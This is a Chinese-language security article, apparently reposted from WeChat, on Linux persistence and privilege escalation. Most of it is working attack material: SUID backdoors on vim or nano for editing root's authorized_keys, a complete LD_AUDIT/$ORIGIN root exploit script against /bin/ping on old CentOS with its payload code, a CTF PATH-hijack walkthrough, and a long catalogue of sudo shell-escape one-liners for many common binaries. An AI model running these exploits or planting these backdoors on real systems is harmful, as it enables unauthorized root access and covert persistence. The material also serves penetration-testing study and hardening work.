Linux权限维持与提权用到了ATT&CK框架中的T1166技术,应用程序设置setuid或setgid位时,这意味着应用程序将分别以拥有用户或组的权限运行。
当攻击者临时获得了root权限,而设置suid是权限维持的一种方法,将vim、nano等命令设置为特殊权限,如nano命令被设置后门,可以修改/root/.ssh/authorized_keys进行无密码登录,除此之外还有各种方式留后门。
SUID特殊权限提权
SUID的功用:用户运行某程序时,如果此程序拥有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而程序文件自己的属主;
passwd设置了特殊权限,修改密码时允许修改shadow文件。
添加特殊权限命令:
Chmod u+s /usr/bin/vim
Chmod g+s /usr/bin/vim
当vim拥有特殊权限,可以查看shadow文件添加任务记录、添加用户、添加
/root/.ssh/authorized_keys
除了自己添加外,还可以在当前系统查找是否有特殊权限的程序。
查找SUID、SGID文件
#Find SUID
find / -perm-u=s -type f 2>/dev/null
#Find GUID
find / -perm-g=s -type f 2>/dev/null
利用/bin/ping特殊权限提权
在某次实战过程中,遇到过低版本的Centos5-6,可利用以下方式提权:
在/tmp下创建可控制的目录
$ mkdir /tmp/exploit
链接到suid二进制程序以更改$ORIGIN的定义
$ ln /bin/ping /tmp/exploit/target
打开到目标二进制程序的文件描述符
$ exec 3< /tmp/exploit/target
现在可通过/proc访问描述符
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target*
删除之前所创建的目录
$ rm -rf /tmp/exploit/
/proc链接仍存在,但已标记为已被删除
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target (deleted)
使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
通过LD_AUDIT强制/proc中的链接加载$ORIGIN
$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)
bash脚本:
#!/bin/sh
unset LD_AUDIT
rm -r -f /tmp/exploit
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
ls -l /proc/$$/fd/3
rm -rf /tmp/exploit
ls -l /proc/$$/fd/3
cat > program.c << _EOF
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
_EOF
gcc -w -fPIC -shared -o /tmp/exploit program.c
LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
unset LD_AUDIT
在某CTF中的应用
CTF中特殊权限提权 BashSystem 1
进入到Linux中有三个文件:ch11、ch11.c、Makefile
ch11:
-r-sr-x--- 1app-script-ch11-cracked app-script-ch11 7252 May 19 18:34 ch11*
ch11拥有SUID权限。
ch11.c文件内容如下:
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setreuid(geteuid(),geteuid());
system("ls/challenge/app-script/ch11/.passwd");
return 0;
}
题目的要求是想读取.passwd
刚开始把ch11.c的文件改成cat重新编译,发现是没有权限。
这思路其实是错的,这也是出题人希望误导的方向。
这里解题的思路是将cat命令伪装成ls来执行。
cd /tmp
mkdir exp
chmod 777 exp
cd exp
cp /bin/cat .
mv cat ls
linux 在执行bash命令的时候,是从环境变量PATH去搜索同名脚本的,所以把当前目录添加到环境变量 PATH的最前面。
export PATH=.:$PATH
~/ch11 //执行程序得到Flag
除了上面的特殊权限之外,还可以通过sudo留后门或者提权,SUDO则是用到了ATT&CK框架中的T1169技术。
sudo是什么?
给普通用户某个命令有root权限,并不需要给root密码,毕竟知道root密码的人越多越不安全。
普遍的做法就是利用sudo (Substitute User and Do 的简写)给其临时授权,临时让其以root 权限运行某个程序。
sudo的执行原理
普通用户执行命令 -> 检查/var/db/sudo/目录下是否有用户时间戳 -> 检查/etc/sudoers配置文件,用户是否有sudo权限 -> 执行sudo命令并反回结果 -> 退出sudo返回普通用户shell环境。
其中步骤2检查:时间戳默认从上一次执行sudo命令5分钟后过期。
/etc/sudoers或者使用visudo命令进行编辑。
文件语法:
root ALL=(ALL) ALL
root表示用户名
-
第一个 ALL 指示允许从任何终端、机器访问sudo
-
第二个 (ALL)指示sudo命令被允许以任何用户身份执行
-
第三个 ALL 表示所有命令都可以作为root执行
使用sudo -l查看当前权限。
find命令获取root权限
sudo find /home -exec /bin/bash ;
各类命令特殊权限利用方式
zip、tar、strace、nmap、more、git、ftp、vim、passwd
zip:
sudo zip/tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash"
- -T 表示测试test.zip的完整性
- --unzip-command 与-T一起使用,可以指定自定义命令用于解压test.zip
tar:
sudo tar cf/dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash
- --checkpoint-action选项是提权点,可以自定义需要执行的动作
strace:
sudostrace -o /dev/null /bin/bash
nmap:
低版本的nmap3.x 有interactive模式,且设置了suid,这个时候可以进入交互模式 执行!sh 命令即可轻松完成提权。
echo "os.execute('/bin/bash')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nse
more:
sudo more /etc/hosts
!/bin/bash
git:
sudo git help status
!/bin/bash
ftp:
sudo ftp
ftp> !/bin/bash
vim:
sudo vim -c'!bash'
perl、python、less、awk、man、vi
perl:
sudo perl -e'exec "/bin/bash";'
python:
sudo python -c'import pty;pty.spawn("/bin/bash")'
less:
sudo less /etc/hosts
v
:shell
awk:
sudo awk 'BEGIN{system("/bin/bash")}'
man:
sudo man man
!/bin/bash
vi:
sudo vi
:!bash
apt-get、apt、dpkg
sudo apt-getupdate -o APT::Update::Pre-Invoke::="/bin/bash -i"
sudo apt-get changelog apt
!/bin/bash
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
ed、sed、pip、taskset
ed:
sudo ed
!/bin/bash
sed:
sudo sed -n '1eexec bash 1>&0' /etc/passwd
pip:
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh<$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
taskset:
sudo taskset 1/bin/sh –p
aria2c、arp、base64、cpan
aria2c:
sudo sh -c 'cp $(which aria2c) .; chmod +s ./aria2c'
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
./aria2c --on-download-error=$TF http://x
arp:
LFILE=file_to_read
sudo arp -v -f "$LFILE"
base64:
LFILE=file_to_read
sudo base64 "$LFILE" | base64 --decode
cpan:
sudo cpan
! exec '/bin/bash'
......
Linux命令深度利用
https://gtfobins.github.io/
- [Linux下PAM模块学习总结]
(https://www.cnblogs.com/kevingrace/p/8671964.html)
- [关于openssh通用后门的拓展](http://0cx.cc/ssh_get_password.jspx)
本文始发于微信公众号(关注安全技术):Linux权限维持与提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论